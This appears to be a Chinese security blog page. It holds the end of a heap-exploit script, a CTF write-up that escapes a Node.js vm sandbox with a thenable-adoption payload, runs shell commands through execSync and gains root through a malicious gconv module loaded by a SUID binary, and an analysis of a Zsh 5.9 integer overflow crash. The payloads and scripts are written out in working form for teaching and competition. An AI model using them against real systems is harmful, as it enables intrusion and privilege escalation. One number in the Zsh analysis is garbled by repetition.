        self.io.unrecv(MENU_LOGGED)
88
        prefix = b"[*] Password: "
89
        start = out.index(prefix) + len(prefix)
90
        end = out.index(b"\nWhat would you like to do?\n1) Add password")
91
        return out[start:end]
92

93
    def expect_printable_body(self, ptr: int, note: str) -> None:
94
        # Hidden upload reads raw bytes until '\n'. If a seeded pointer contains
95
        # 0x0a, the body gets truncated before the fake user is fully written.
96
        if b"\n" in p64(ptr):
97
            raise RetryAttempt(f"{note} pointer contains newline: {ptr:#x}")
98

99
    def build_final_bug_body(self, canary: int, pie: int, environ: int) -> bytes:
100
        service_rbp = environ - SERVICE_RBP_FROM_ENVIRON
101
        parse_rbp = service_rbp - PARSE_RBP_FROM_SERVICE
102

103
        payload = bytearray(b"\x00" * FINAL_BODY_LEN)
104

105
        # bug frame: return into srv_send_flag after passing the bug canary
106
        payload[BUG_CANARY_PAD : BUG_CANARY_PAD + 8] = p64(canary)
107
        payload[BUG_CANARY_PAD + 8 : BUG_CANARY_PAD + 16] = p64(parse_rbp)
108
        payload[BUG_CANARY_PAD + 16 : BUG_CANARY_PAD + 24] = p64(pie + WIN_OFF)
109
        payload[BUG_CANARY_PAD + 24 : BUG_CANARY_PAD + 32] = p64(pie + PARSE_EPILOGUE_OFF)
110

111
        # parse frame: srv_send_flag returns directly into srv_parse_pkt's
112
        # epilogue. We restore parse's saved rbp/rip so execution lands back in
113
        # service's read loop instead of dying after the second response.
114
        payload[PARSE_SAVED_RBP_OFF : PARSE_SAVED_RBP_OFF + 8] = p64(service_rbp)
115
        payload[PARSE_SAVED_RIP_OFF : PARSE_SAVED_RIP_OFF + 8] = p64(pie + SERVICE_LOOP_OFF)
116

117
        # service frame: the next loop iteration reuses the original fd local.
118
        payload[SERVICE_FD_OFF : SERVICE_FD_OFF + 4] = p32(3)
119

120
        body = payload.hex().encode()
121
        assert len(body) == HEX_BODY_LEN
122
        return body
123

124
    def run(self) -> bytes:
125
        # u0: exact shared heap leak via malloc(0) client overread
126
        self.upload(seed_user(0, 1), b"h0")
127
        self.signup(b"u0")
128
        self.login(b"u0")
129
        heap = u64(self.get_raw(0).ljust(8, b"\0")) << 12
130
        log.info("heap = %#x", heap)
131
        self.logout()
132

133
        # u2: future arbitrary read slot aimed at the password chunk that will
134
        # become a libc leak after we free enough 0x110-sized password chunks.
135
        pw_chunk = heap + PW_CHUNK_OFF
136
        self.expect_printable_body(pw_chunk, "pw_chunk")
137
        self.upload(seed_user(0x20, pw_chunk), b"l2")
138
        self.signup(b"u2")
139

140
        # u1: allocate/free 10 x 0x110 chunks. The 8th free goes into the then
141
        # empty unsorted bin; heap+0xf60 keeps the stale bin_at(main_arena, 0).
142
        self.signup(b"u1")
143
        self.login(b"u1")
144
        pw = b"P" * 0xFE
145
        for idx in range(10):
146
            self.add(idx, pw)
147
        for idx in range(10):
148
            self.delete(idx)
149
        self.logout()
150

151
        self.login(b"u2")
152
        libc = u64(self.get_raw(0).ljust(8, b"\0")) - LEAK_LIBC_OFF
153
        log.info("libc = %#x", libc)
154
        self.logout()
155

156
        # u3: leak service-side environ from libc.
157
        environ_ptr = libc + ENVIRON_OFF
158
        self.expect_printable_body(environ_ptr, "environ")
159
        self.upload(seed_user(8, environ_ptr), b"e3")
160
        self.signup(b"u3")
161
        self.login(b"u3")
162
        environ = u64(self.get_raw(0).ljust(8, b"\0"))
163
        log.info("environ = %#x", environ)
164
        self.logout()
165

166
        # u4: leak bug-frame canary from idle service stack.
167
        canary_ptr = environ - 0x15F
168
        self.expect_printable_body(canary_ptr, "canary")
169
        self.upload(seed_user(7, canary_ptr), b"c4")
170
        self.signup(b"u4")
171
        self.login(b"u4")
172
        canary = u64(b"\0" + self.get_raw(0).ljust(7, b"\0"))
173
        log.info("canary = %#x", canary)
174
        self.logout()
175

176
        # u5: leak a PIE return address from the same stack snapshot.
177
        pie_ptr = environ - 0x150
178
        self.expect_printable_body(pie_ptr, "pie")
179
        self.upload(seed_user(6, pie_ptr), b"p5")
180
        self.signup(b"u5")
181
        self.login(b"u5")
182
        pie = u64(self.get_raw(0).ljust(8, b"\0")) - RETLEAK_OFF
183
        log.info("pie = %#x", pie)
184
        self.logout()
185

186
        # Final overflow. We must avoid sending a trailing newline in the bug
187
        # body, so we fill the entire 0x1000-byte upload cap and let upload()
188
        # stop on length rather than on '\n'.
189
        self.upload(self.build_final_bug_body(canary, pie, environ), b"boom", newline=False)
190

191
        # upload() consumes the normal ACK from srv_handle_bug. The real flag is
192
        # the second response from srv_send_flag(). After the repaired return
193
        # chain lands back in service's read loop, the next normal client action
194
        # will consume that queued response and print it as an error body.
195
        out = self.login(b"u0")
196
        return out + self.io.recvrepeat(0.5)
197

198

199
def open_tube(args):
200
    if args.local:
201
        tube = process("./pwn", stdin=PTY, stdout=PTY)
202
    else:
203
        tube = remote(args.host, args.port)
204
    tube.timeout = 5
205
    return tube
206

207

208
def main() -> None:
209
    parser = argparse.ArgumentParser()
210
    parser.add_argument("--host", default="127.0.0.1")
211
    parser.add_argument("--port", type=int, default=7604)
212
    parser.add_argument("--attempts", type=int, default=20)
213
    parser.add_argument("--local", action="store_true")
214
    args = parser.parse_args()
215

216
    for attempt in range(1, args.attempts + 1):
217
        log.info("attempt %d/%d", attempt, args.attempts)
218
        io = open_tube(args)
219
        try:
220
            data = Exploit(io).run()
221
            match = FLAG_RE.search(data)
222
            if match:
223
                print(data.decode(errors="replace"), end="")
224
                return
225
            log.warning("attempt %d did not print flag, tail=%r", attempt, data[-200:])
226
        except RetryAttempt as exc:
227
            log.warning("attempt %d retry: %s", attempt, exc)
228
        except EOFError:
229
            log.warning("attempt %d hit EOF", attempt)
230
        except Exception as exc:
231
            log.warning("attempt %d failed: %r", attempt, exc)
232
        finally:
233
            try:
234
                io.close()
235
            except Exception:
236
                pass
237

238
    raise SystemExit("failed to retrieve flag within retry budget")
239

240

241
if __name__ == "__main__":
242
    main()

展开收起

网络安全 / Web#

EzOmniProbe#

Flag

miniL{96b932ec-3b6e-71ee-56a3-4192ad1742ea}

打开页面，发现服务暴露了下述 endpoint：

1
GET /api/stats
2
GET /api/me
3
POST /api/verify
4
POST /api/run
5
GET /api/run?cursor=N

这里首先使用 curl 探测各个 endpoint。简要探测得：

1
GET  /api/stats  -> {"status":"running","last_verify_activity":"heartbeat idle at ..."}
2
GET  /api/me     -> {"role":"guest","sid":"..."}
3
POST /api/verify -> {"msg":"Queued for verifier heartbeat"}
4
POST /api/run    -> 403
5
GET  /api/run    -> 403

获得提权后的 `sid`#

注意 POST /api/verify 后的 Queued，即，当我们请求 /api/verify 时，我们实际上携 session 异步请求了某个 verifier。又因 /api/stats 存在关键词 last_verify_activity，我们联想，/api/verify 应当是 verifier 提供的接口，它具有这样的功能：将当前的 session 提权至 admin。为判断是否提权成功，我们可以访问 /api/stats 以获取当前 verifier 的状态。

提交验证后尝试提升 session 权限的响应

这里我们注意到：若手动完成两次指令，由于较大的延迟，verifier 会提示 heartbeat idle；若使用 && 连接，则发现 session 进入了 pending 队列。这即说明：由 /api/verify 提交的 verify 请求具有极小的 timeout。

注意每次访问 /api/me 时，sid 都会发生变化，我们必须使用上述方式提权得到一个提权后的 sid。在上文中，我们已经得到了一个提权后的 sid。被提前的 sid 有若干个，我们可以任意选择。

探测 `/api/run` 接口用法#

题目没有给出 /api/run 的接口用法，我们只能应用黑盒盲测。首先测试 HTTP POST 的情况：

验证与权限提升流程的接口交互记录

注意到当传入的 JSON 形如 {"code": "1+1"} 时远端返回 HTTP 204（No Content），这即探测到了该接口正确的 POST 用法。考虑到题目还给出了 GET 的用法，即携带 ?cursor=N 参数，简单测试后发现，该接口返回由 POST 接口执行的命令的第 N 个字符，以 {"char": "x"} 传回。

通过 GET 请求和 cursor 参数逐字符获取执行结果

这即探测出全部 endpoint 的用法。

探测 Node.js 沙箱#

GPT-5.3-Codex 编写了一个交互脚本，负责一键提权，在远端服务器上执行命令，并逐位获取回显。由于该脚本随题目进度更新，我们将在最后给出该脚本。由于上文中我们已经发现了 WAF 的存在，在这里，我们选择首先探测 WAF 的规则。

注意到包括但不限于下述关键词被 WAF 拦截：

探测沙箱 WAF 关键词过滤规则的结果

关键词	说明
`process`	Node.js process 对象
`require`	模块加载函数
`eval`	动态代码执行
`constructor`	构造函数引用（防原型链逃逸）
`child_process`	子进程模块
…	…

同时 WAF 禁用了方括号访问模式，即 this['construc'+'tor'] 的形式亦无法通过，会触发 WAF: Fold。

同时 payload 长度需要控制在 255 个字符以下。

这里，我们使用 Object.getOwnPropertyNames(globalThis) 探测全局变量。

1
Object, Function, Array, Number, parseFloat, parseInt, Infinity, NaN, undefined, Boolean, String, Symbol, Date, Promise, RegExp, Error, EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError, globalThis, JSON, Math, console, Intl, ArrayBuffer, Uint8Array, Int8Array, Uint16Array, Int16Array, Uint32Array, Int32Array, Float32Array, Float64Array, Uint8ClampedArray, BigUint64Array, BigInt64Array, DataView, Map, BigInt, Set, WeakMap, WeakSet, Proxy, Reflect, decodeURI, decodeURIComponent, encodeURI, encodeURIComponent, escape, unescape, eval, isFinite, isNaN, SharedArrayBuffer, Atomics, WebAssembly

使用 thenable adoption 进行沙箱逃逸#

在 JavaScript 中，当我们 await 一个值时，若值具有 then 方法，则会被引擎自动调用，并传入 resolve 和 reject 两个函数。我们称该值是 thenable 的。使用 thenable adoption 进行沙箱逃逸基于这样的猜想：当我们向远端 /api/run 发送 Promise.resolve(1) 时，远端返回了 1。一般地，我们期望远端在执行我们的命令后返回一个 Promise 对象；但这里远端返回了值 1，这说明服务器对我们的返回值做了 await。

同时，注意到取远端 Error().stack 可得

1
Error
2
    at evalmachine.<anonymous>:1:1
3
    at Script.runInContext (vm.js:142:20)
4
    at Object.runInContext (vm.js:281:6)
5
    at /app/app.js:361:33
6
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
7
    at next (/app/node_modules/express/lib/router/route.js:149:13)
8
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)
9
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
10
    at /app/node_modules/express/lib/router/index.js:284:15
11
    at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)

这说明沙箱环境使用了 Node.js 的 vm.Script.runInContext。vm.Script.runInContext 在同一个进程内创建了两个隔离的 JavaScript 环境（Realm）。考虑到 Promise 机制会将宿主侧的 resolve 传入 thenable 中，我们便可以实施 thenable adoption。

为了验证我们的猜想，我们可以使用下面的代码进行测试：

1
o = {
2
    then: function(resolve, reject) {
3
        var hostGlobal = resolve.constructor.constructor('return this')();
4
        var hasBuffer = hostGlobal.Buffer !== undefined;  // true = 宿主, false = 沙箱
5
        resolve(hasBuffer);
6
    }
7
};
8
return o;

注意到上文我们提及的沙箱内的所有全局变量，显然沙箱内并不含有 Buffer，但宿主的 JavaScript 环境内一定有。我们可以通过检测 resolve.constructor.constructor 所返回的宿主全局变量内是否含有 Buffer，来判定 thenable adoption 的可行性。由于 WAF 的存在，这段代码并不能直接执行。我们给出绕过版本：

1
P=Promise.prototype;O=Object.getOwnPropertyNames;m=O(P)[1];k=O(P)[0];o={};o[m]=function(a,b){a(!!a[k][k]('return this')().Buffer)};o

这段代码是晦涩的。下面我们给出解释。我们需要使用 constructor 和 then 关键词，但它们无法明文写出。注意到通过

1
P = Promise.prototype;

获得的 Promise 的原型对象中恰好有我们需要的关键词，我们可以从中提取。构造

1
O = Object.getOwnPropertyNames;

得到 Object.getOwnPropertyNames 函数。该函数获取调用对象自身的所有属性名。我们可以通过

1
P=Promise.prototype;O=Object.getOwnPropertyNames;O(P)

从远端获取

1
constructor,then,catch,finally

从而该字符串数组的第 0 个元素为 then，第 1 个元素为 constructor。记

1
m = O(P)[1];   // → "then"
2
k = O(P)[0];   // → "constructor"

随后我们构造

1
o[m] = function(a, b) {
2
    a(!!a[k][k]('return this')().Buffer)
3
};

按照 thenable 约定，宿主服务器将会调用 javascript o.then(resolve, reject)。在这里，我们使用 a 为服务端 javascript resolve，a[k] 为 javascript resolve.constructor，a[k][k] 为 javascript resolve.constructor.constructor 即 javascript Function。随后 javascript a(!!a[k][k]('return this')() 调用了一个返回宿主全局对象的函数，通过 .Buffer 获取宿主全局对象上的 Buffer。javascript !!...Buffer 将 Buffer 转换为布尔值 true 并传给 resolve，作为 await 的最终返回值。使用 curl 可以校验。

在沙箱中测试 Buffer 的可用性

由类似的方法，可以直接获取得到 process.version 为 v14.0.0。

探测系统环境#

DeepSeek-V4-Pro 帮助构造了 execSync 等的调用方法。下面的指令给出了命令执行的方法。

1
P=Promise.prototype;O=Object.getOwnPropertyNames;m=O(P)[1];k=O(P)[0];o={};o[m]=function(a){g=a[k][k]('return this')();p=g[O(g)[60]];a(String(p.mainModule[k]._load(p.mainModule[k].builtinModules[17]).execSync('COMMAND')))};o

注意：上述命令执行的代码长度不能超过 255 字符。

使用上述代码即可在远程服务器执行指令并获得返回。由 id 知悉我们非 root 用户。由 ls / 知悉 /flag 为 root 只读。探测环境变量中的 FLAG=cleared。故读取 /flag 为唯一解法。我们考虑施 SUID 提权。

SUID 枚举#

使用 find 命令查找 /bin 和 /usr/bin 下的 SUID 程序。注意到存在

1
/usr/local/bin/omni_pkexec

查看 omni 的 pkexec 命令帮助信息

使用 -help 参数查看用法并以 2>&1 将 stderr 管道追加到 stdout。得到

1
Usage: /usr/local/bin/omni_pkexec [--help]
2
Legacy policykit locale bridge.
3
Compatibility mode:
4
  CHARSET=OMNI-LEGACY//
5
  SHELL=omni
6
  OMNI_GCONV_PATH=/absolute/path/to/module_dir
7
  Requires a gconv-modules line like:
8
    module OMNI-LEGACY// INTERNAL omni 2
9
  Loads $OMNI_GCONV_PATH/<module>.so and calls gconv_init().

该程序将在特定环境变量下会加载 gconv 模块并调用 gconv_init()，与典型的 gconv SUID 利用路径一致。基于此，我们考虑在服务器构造 gconv_init() 读取 Flag 内容，将对应的 .c 编译后，编写 gconv-modules 并调用 /usr/local/bin/omni_pkexec 从而使得 omni_pkexec 加载我们的程序，将 Flag 以 ctf 用户可读的方式呈现。

使用 `omni_pkexec` 拷贝 Flag#

我们需要在服务器侧构造该 .so。直接传递编译后的字节码是危险的，我们发现远端服务器具有 gcc 和 cc，故考虑在远端编译。为方便和避免权限问题，我们将工作目录选择为 /tmp。

`/tmp/x.c`#

1
#include <stdlib.h>
2

3
void gconv() { }
4
void gconv_init() { system("cp /flag /tmp/f"); }

我们需要设法将该 .c 文件放置到服务器上。题目并没有提供任意写的方法或接口，我们只能使用 /api/run 通过命令执行写入。又由于 /api/run 接口有长度限制，我们需要分段写入：

Terminal window

1
echo '#include<stdlib.h>'>/tmp/x.c
2
echo 'void gconv(){}'>>/tmp/x.c
3
echo -n 'void gconv_init(){'>>/tmp/x.c
4
echo -n 'system("cp /flag '>>/tmp/x.c
5
echo '/tmp/f");}'>>/tmp/x.c

为了避免兼容性问题，我们保留了 gconv()。若题目的 omni_pkexec 为自定义实现，则 gconv() 可以略去。随后编译。

Terminal window

1
cd /tmp;cc -shared x.c -o o.so;:

在这里我们选择使用 cc 编译。注意到 cc 编译时频繁出现 Runtime Error，这可能是因为 JavaScript 侧 execSync 因非零退出码抛出异常所致，这会导致我们无法得到 stdout。我们在命令后追加 ;: 解决此问题。

`/tmp/gconv-modules`#

1
module OMNI-LEGACY// INTERNAL o 2

效仿 x.c 分段写入。

Terminal window

1
echo -n module>/tmp/gconv-modules
2
echo -n ' OMNI-'>>/tmp/gconv-modules
3
echo -n LEGACY//>>/tmp/gconv-modules
4
echo -n ' INTERNAL'>>/tmp/gconv-modules
5
echo ' o 2'>>/tmp/gconv-modules

触发脚本 `/tmp/r`#

由于 /api/run 具有长度限制，我们难以在设置环境变量的同时调用程序，且考虑到每次访问的沙箱均互相隔离，我们选择写入一个脚本来自动完成这些内容。

Terminal window

1
echo 'set -a'>/tmp/r
2
echo 'CHARSET=OMNI-LEGACY//'>>/tmp/r
3
echo 'SHELL=omni'>>/tmp/r
4
echo 'OMNI_GCONV_PATH=/tmp'>>/tmp/r
5
echo -n '/usr/local/bin/'>>/tmp/r
6
echo 'omni_pkexec'>>/tmp/r
7
sh /tmp/r 2>&1;:

修改 Flag 的权限并读取 Flag#

使用命令执行触发该脚本，并在 /tmp/f 下得到 Flag，但我们发现不能直接读取该 Flag。ls -la 后发现该 Flag 仍为 root 只读，我们需要修改该文件的权限。重用 x.c 并用以下命令修改：

Terminal window

1
echo '#include<stdlib.h>'>/tmp/x.c
2
echo 'void gconv(){}'>>/tmp/x.c
3
echo -n 'void gconv_init(){'>>/tmp/x.c
4
echo -n 'system("chmod '>>/tmp/x.c
5
echo '644 /tmp/f");}'>>/tmp/x.c
6
cd /tmp;cc -shared x.c -o o.so;:
7
sh /tmp/r 2>&1;:

重新运行后，cat /tmp/f 得到 Flag。

下面给出脚本。

1
#!/usr/bin/env python3
2
import json
3
import sys
4
import time
5
import urllib.error
6
import urllib.request
7

8
BASE = "http://127.0.0.1:1536"
9

10

11
def request(method, path, sid=None, data=None):
12
    body = None
13
    headers = {}
14
    if sid:
15
        headers["X-Session-Id"] = sid
16
    if data is not None:
17
        body = json.dumps(data).encode()
18
        headers["Content-Type"] = "application/json"
19
    req = urllib.request.Request(BASE + path, data=body, headers=headers, method=method)
20
    try:
21
        with urllib.request.urlopen(req, timeout=15) as resp:
22
            text = resp.read().decode("utf-8", "replace")
23
            return resp.status, dict(resp.headers), text
24
    except urllib.error.HTTPError as exc:
25
        text = exc.read().decode("utf-8", "replace")
26
        return exc.code, dict(exc.headers), text
27

28

29
def get_json(method, path, sid=None, data=None):
30
    status, headers, text = request(method, path, sid, data)
31
    try:
32
        parsed = json.loads(text)
33
    except json.JSONDecodeError:
34
        parsed = text
35
    return status, headers, parsed
36

37

38
def promote(timeout=45):
39
    status, headers, parsed = get_json("GET", "/api/me")
40
    sid = headers.get("X-Session-Id") or parsed.get("sid")
41
    if not sid:
42
        raise RuntimeError(f"no sid from /api/me: {status} {parsed!r}")
43
    deadline = time.time() + timeout
44
    last = None
45
    while time.time() < deadline:
46
        get_json("POST", "/api/verify", sid, {})
47
        status, headers, me = get_json("GET", "/api/me", sid)
48
        if isinstance(me, dict) and me.get("role") == "admin":
49
            return sid
50
        status, headers, stats = get_json("GET", "/api/stats", sid)
51
        last = stats
52
        time.sleep(0.04)
53
    raise RuntimeError(f"promotion timed out for {sid}; last stats={last!r}")
54

55

56
def read_run(sid, limit=10000):
57
    out = []
58
    for cursor in range(limit):
59
        status, headers, parsed = get_json("GET", f"/api/run?cursor={cursor}", sid)
60
        if status != 200:
61
            return "".join(out), f"read status={status} body={parsed!r}"
62
        ch = parsed.get("char") if isinstance(parsed, dict) else None
63
        if ch == "":
64
            return "".join(out), None
65
        out.append(ch)
66
    return "".join(out), f"hit limit {limit}"
67

68

69
def run_code(sid, code):
70
    status, headers, parsed = get_json("POST", "/api/run", sid, {"code": code})
71
    if status != 204:
72
        return status, parsed, "", None
73
    out, err = read_run(sid)
74
    return status, parsed, out, err
75

76

77
def encode_eval(src):
78
    nums = ",".join(str(ord(c)) for c in src)
79
    return f"Function(String.fromCharCode({nums}))()"
80

81

82
def main():
83
    if len(sys.argv) < 2:
84
        print(
85
            "usage: probe_client.py promote | run CODE | erun DECODED_CODE | runsid SID CODE | erunsid SID DECODED_CODE",
86
            file=sys.stderr,
87
        )
88
        return 2
89
    cmd = sys.argv[1]
90
    sid = None
91
    if cmd in ("runsid", "erunsid"):
92
        if len(sys.argv) < 4:
93
            raise SystemExit("need SID and CODE")
94
        sid = sys.argv[2]
95
    else:
96
        sid = promote()
97
        print(f"SID={sid}", file=sys.stderr)
98
    if cmd == "promote":
99
        status, headers, me = get_json("GET", "/api/me", sid)
100
        print(json.dumps(me, ensure_ascii=False))
101
        return 0
102
    if cmd == "run":
103
        code = sys.argv[2]
104
    elif cmd == "erun":
105
        code = encode_eval(sys.argv[2])
106
    elif cmd == "runsid":
107
        code = sys.argv[3]
108
    elif cmd == "erunsid":
109
        code = encode_eval(sys.argv[3])
110
    else:
111
        raise SystemExit("unknown command")
112
    status, parsed, out, err = run_code(sid, code)
113
    print(f"POST_STATUS={status}", file=sys.stderr)
114
    print(f"POST_BODY={parsed!r}", file=sys.stderr)
115
    if err:
116
        print(f"READ_ERR={err}", file=sys.stderr)
117
    print(out)
118

119

120
if __name__ == "__main__":
121
    raise SystemExit(main())

展开收起

Zsh 5.9 历史扩展读取整数溢出漏洞分析

Tue, 24 Feb 2026 00:00:00 GMT

前言

Project Hazelita 社群并非该漏洞的最早发现者，并且在该文章发布之前许久，上游的修复补丁就已经进了 git——不过直到本文更新时，官方发行版里还没有一个带上它。本文仅仅作 Project Hazelita 社群独立分析该漏洞全过程的记录。另外，我觉得大伙都应该教我 /求放过

NOTE

本文撰写于 2026 年 2 月 24 日，并于 2026 年 10 月 29 日更新。在撰写成文时，零音仍然在使用 WSL2 上的 Ubuntu；而更新时，零音的设备已经迁移到了 Fedora，因而在本文的更新中，零音追加了部分 Fedora 侧的实测内容，并替换了原文中可能包含不正确或已经过时的信息的一些图片。

初探之喜#

零音正在西咸新区游玩，突然看到 Project Hazelita 社群（现 Hazelita Plaza）里 AstralFlare-owo 的消息，在 Zsh 中输入 !!3350964333 会触发 SIGSEGV。最初的零音并不太确信这类问题的存在，毕竟 Zsh 作为成熟的 shell 已经运行了几十年，而且若问题发生在 !! 处，即 history expansion 阶段，这一阶段仍然在以字符串解析指令，根本没有真正执行命令。但后来经过 Hello8693 等群友的验证，确认了这一问题可能是普遍存在的。

焰在群里说，在 Zsh 中输入 !!3350964333 会触发 SIGSEGV

这时的零音就非常感兴趣了。AstralFlare-owo 使用 pwndbg 调试了 zsh，截获到了 SIGSEGV 时的信息：

1
#3  0x000055acbc1375ba in zshlex ()
2
#4  0x000055acbc15afc7 in parse_event ()
3
#5  0x000055acbc1269f0 in loop ()
4
#6  0x000055acbc12aad4 in zsh_main ()

初步判定是 parse_event 的问题，并锁定了问题应当出现在整数溢出上。此时的零音更加饥渴难耐了于是一回到家便开始进行分析。根据 AstralFlare-owo 提供的情报：

焰说 4294967295、2147483648 等值都没问题

阿焰: 02-24 16:44:38
猜测是这个数值不知怎么的歪打正着绕过了检测
阿焰: 02-24 16:44:55
以及这附近一小块的数值都能触发 bug
阿焰: 02-24 16:45:28
因为包括 4294967295 2147483648 之类的极端数值都没事
阿焰: 02-24 16:57:01
我试了一下 !!<=2147483647 都是正常行为
阿焰: 02-24 16:57:15
!!>=2147483648 就开始出现一些异常情况了
阿焰: 02-24 17:00:01
基本上来说 Bug 起始于 !!2147500000 +- 10000 附近随历史记录数量变化历史记录越多故障越靠后
阿焰: 02-24 17:05:33
一直到 !!4294500000 +- 100000 附近

零音开始了第一轮自测，确定了该漏洞的存在。按照 Hello8693 的说法，「输入该指令会导致终端关闭」，结合零音在执行该指令后的情况，怀疑是 Zsh 发生了 SIGSEGV——而事实的确如此。

在 Fedora 上输入后崩溃，图示 Crashed Processes Viewer（图片补充于 10 月 29 日）

但为何该漏洞会工作呢？零音打算使用 pwndbg 进行调试。使用 pwndbg --args zsh -f 以纯净模式打开 zsh 并接入调试，同时使用 set pagination off 关闭分页、set disassemble-next-line on 打开 RIP 附近指令的反汇编自动显示，以及使用 set follow-fork-mode child 使得 pwndbg 自动跟随 fork() 的子进程，使用 set detach-on-fork off 关闭自 detach，运行并复现了该问题。

问题在 Nix 分发的 Zsh 上复现（图片补充于 10 月 29 日）

卧槽，情报好像是真的？
/求放过

事情从而有趣了起来。我们注意看 R8，它指向堆上的 words[]：屏幕上那串 0xc000500040000 按 little-endian 拆成 short 正好是 0x0000、0x0004、0x0005、0x000c，也就是上一条 echo Project Hazelita 里 echo 与 Project 的起止位置，确实是一个合法的基地址。

真正诡异的是 RAX：0xffffffff8f7750da，高位几乎全是 f！

只看寄存器还只能猜，好在反汇编直接把过程写在了脸上——getargs+38 的 lea eax, [rsi + rsi] 在 32 位里算出 2 * arg1 = -1888005926，即 0x8f7750da，紧接着 getargs+45 的 cdqe 把它符号扩展进 64 位，于是 RAX 的高位被 f 填满；下一条 movsx r9d, word ptr [r8 + rax*2] 就用这个被「放大」的下标去寻址，一头撞进 0x55547456d474——比基址低 3,776,011,8523,776,011,8523,776,011,852 字节的未映射页面。

顺带一提，RCX 里的 0xc7bba86d 也并不是另一个神秘值：它恰好是 3350964333 的 32 位补码，也就是 -944002963 按无符号读出来的样子——寄存器只装了 32 位，再被零扩展成 64 位，所以看着一点不像负数。换一份编译产物，这个中间值也可能落在别的寄存器上，变的只是寄存器分配，2 * arg1 的数值恒为 -1888005926。

并且在零音的复现中，程序依然在 history expansion 的处理过程中 SIGSEGV——parse_event 只是调用链上的祖先，真正出事的是 getargs，下文会讲——这证明了崩溃并非随机事件，漏洞是真实存在的。另外，注意到，若在直接启用的 zsh 内调用了 zsh，则里层 zsh 的 segmentation fault 崩溃可被直接显示出来。

如果是 Zsh 里套 Zsh，则内层 Zsh 会提示 segmentation fault

源码之审#

但是…这漏洞，究竟存在在哪呢？零音不免会好奇究竟在 Zsh 的哪一部分出现了这一漏洞。考虑到系统自带的 Zsh 去掉了调试符号，在这里零音选择自己从源码构建一份带调试符号的 Zsh 以进一步分析。

此时的零音，仍然抱着对 Project Hazelita 社群挖出史诗级漏洞的期许，，

零音：我怎么感觉我们要见证历史了

由于零音在 WSL2 Ubuntu 上使用 Nix 管理软件包，零音直接使用 nix-shell 获取纯净的编译环境：

Terminal window

1
nix-shell -p gcc gnumake ncurses.dev yodl valgrind

并下载 Zsh 5.9 源码：

Terminal window

1
wget https://sourceforge.net/projects/zsh/files/zsh/5.9/zsh-5.9.tar.xz
2
tar -xf zsh-5.9.tar.xz
3
cd zsh-5.9

随后编译即可。不过，在编译过程中，零音总共遇到了两个坑点——其中第二个回头看还夹着一处误判——这里先一并说明。

`boolcodes` 的冲突#

在编译过程中遇到的第一个坑点是 boolcodes 的冲突。Zsh 为了能够在终端显示颜色和控制光标，需要依赖一个叫 ncurses 的底层库。在 Zsh 的源码中，会用到一些关于终端特性的数组，其中一个就是 boolcodes。Zsh 为了确保这个数组一定存在，便使用宏逻辑定义备用的 boolcodes。但零音使用的 ncurses 6.6 开发版把头文件里的这些数组声明成 const char * const（指向只读字符的只读指针数组），而 Zsh 5.9 的 configure 探针写的是 char **test = boolcodes;——这个探针在 const 限定下必然失败，configure 于是判定「系统没有 boolcodes」，Zsh 便回落到自己那份非 const 的备用数组，最终 gcc 判定类型冲突，编译中断。

1
termcap.c:45:14: error: conflicting types for ‘boolcodes’; have ‘char *[]’
2
   45 | static char *boolcodes[] = {
3
      |              ^~~~~~~~~
4
In file included from ../../Src/zshterm.h:1,
5
                 from ../../Src/zsh_system.h:932:
6
/nix/store/n7iyqawbhv90ikx7casy5sapwpqj870b-ncurses-6.6-dev/include/term.h:784:56: note: previous declaration of ‘boolcodes’ with type ‘const char * const[]’
7
  784 | extern NCURSES_EXPORT_VAR(NCURSES_CONST char * const ) boolcodes[];
8
      |                                                        ^~~~~~~~~
9
make[3]: *** [Makefile:230: termcap.o] Error 1
10
make[3]: Leaving directory '/mnt/d/Projects/CTF_Projects/competitions/Individuals/LyCecilion/zshcrash/zsh-5.9/Src/Modules'
11
make[2]: *** [Makemod:372: modobjs] Error 1
12
make[2]: Leaving directory '/mnt/d/Projects/CTF_Projects/competitions/Individuals/LyCecilion/zshcrash/zsh-5.9/Src'
13
make[1]: *** [Makefile:449: modobjs] Error 2
14
make[1]: Leaving directory '/mnt/d/Projects/CTF_Projects/competitions/Individuals/LyCecilion/zshcrash/zsh-5.9/Src'
15
make: *** [Makefile:188: all] Error 1

展开收起

为了解决这一点，我们追加这一 CPPFLAGS，使用 -DHAVE... 强迫不使用 Zsh 源码中宏定义的备用版本。

1
CPPFLAGS="-g -O0 -DHAVE_BOOLCODES -DHAVE_NUMCODES -DHAVE_STRCODES -DHAVE_BOOLNAMES -DHAVE_NUMNAMES -DHAVE_STRNAMES"

Nix 的 gcc wrapper 与过去的误判#

Nix 非常注重包的体积和安全性，从而在 nix-shell -p gcc 中调用的 gcc，是 Nix 的一个 Shell 包装器！它会往编译命令里追加一堆硬化选项和 Nix 专属参数（-fstack-protector-strong、-D_FORTIFY_SOURCE、-fPIC、-frandom-seed=…，还有若干 -isystem），所以在 nix-shell 里「我传了 -g -O0 就一定是 -g -O0」并不成立，想干净地掌控编译行为，就得把这些附加项清掉。

顺带纠正零音当年的一个误判：这段经历曾被记成「wrapper 把符号表 strip 了」。后来实测，nix-shell -p gcc 下用 -g 编译出来的程序、以及用本文这套参数编出来的 Src/zsh，file 都报告 with debug_info, not stripped——符号从来没有被剥离过。当年 pwndbg 报 No debugging symbols found，是因为调试的是 /nix/store/…-home-manager-path/bin/zsh 这个 nixpkgs 打包产物：剥离发生在打包阶段的 fixupPhase，与 gcc wrapper 无关。冤枉好人这么久😇

在 make clean 后，我们清空这些附加标志，把编译行为交还给编译器本身。

1
export NIX_CFLAGS_COMPILE="-g -O0"
2
export NIX_HARDENING_ENABLE=""

总而言之，绕过这两个坑点后，我们使用下面的指令编译：

Terminal window

1
./configure --enable-zsh-debug CFLAGS="-g -O0" CPPFLAGS="-g -O0 -DHAVE_BOOLCODES -DHAVE_NUMCODES -DHAVE_STRCODES -DHAVE_BOOLNAMES -DHAVE_NUMNAMES -DHAVE_STRNAMES"
2
make -j$(nproc) CFLAGS="-g -O0" CPPFLAGS="-g -O0 -DHAVE_BOOLCODES -DHAVE_NUMCODES -DHAVE_STRCODES -DHAVE_BOOLNAMES -DHAVE_NUMNAMES -DHAVE_STRNAMES"

使用 file 可以查看最终的编译产物：

Terminal window

1
file ./Src/zsh

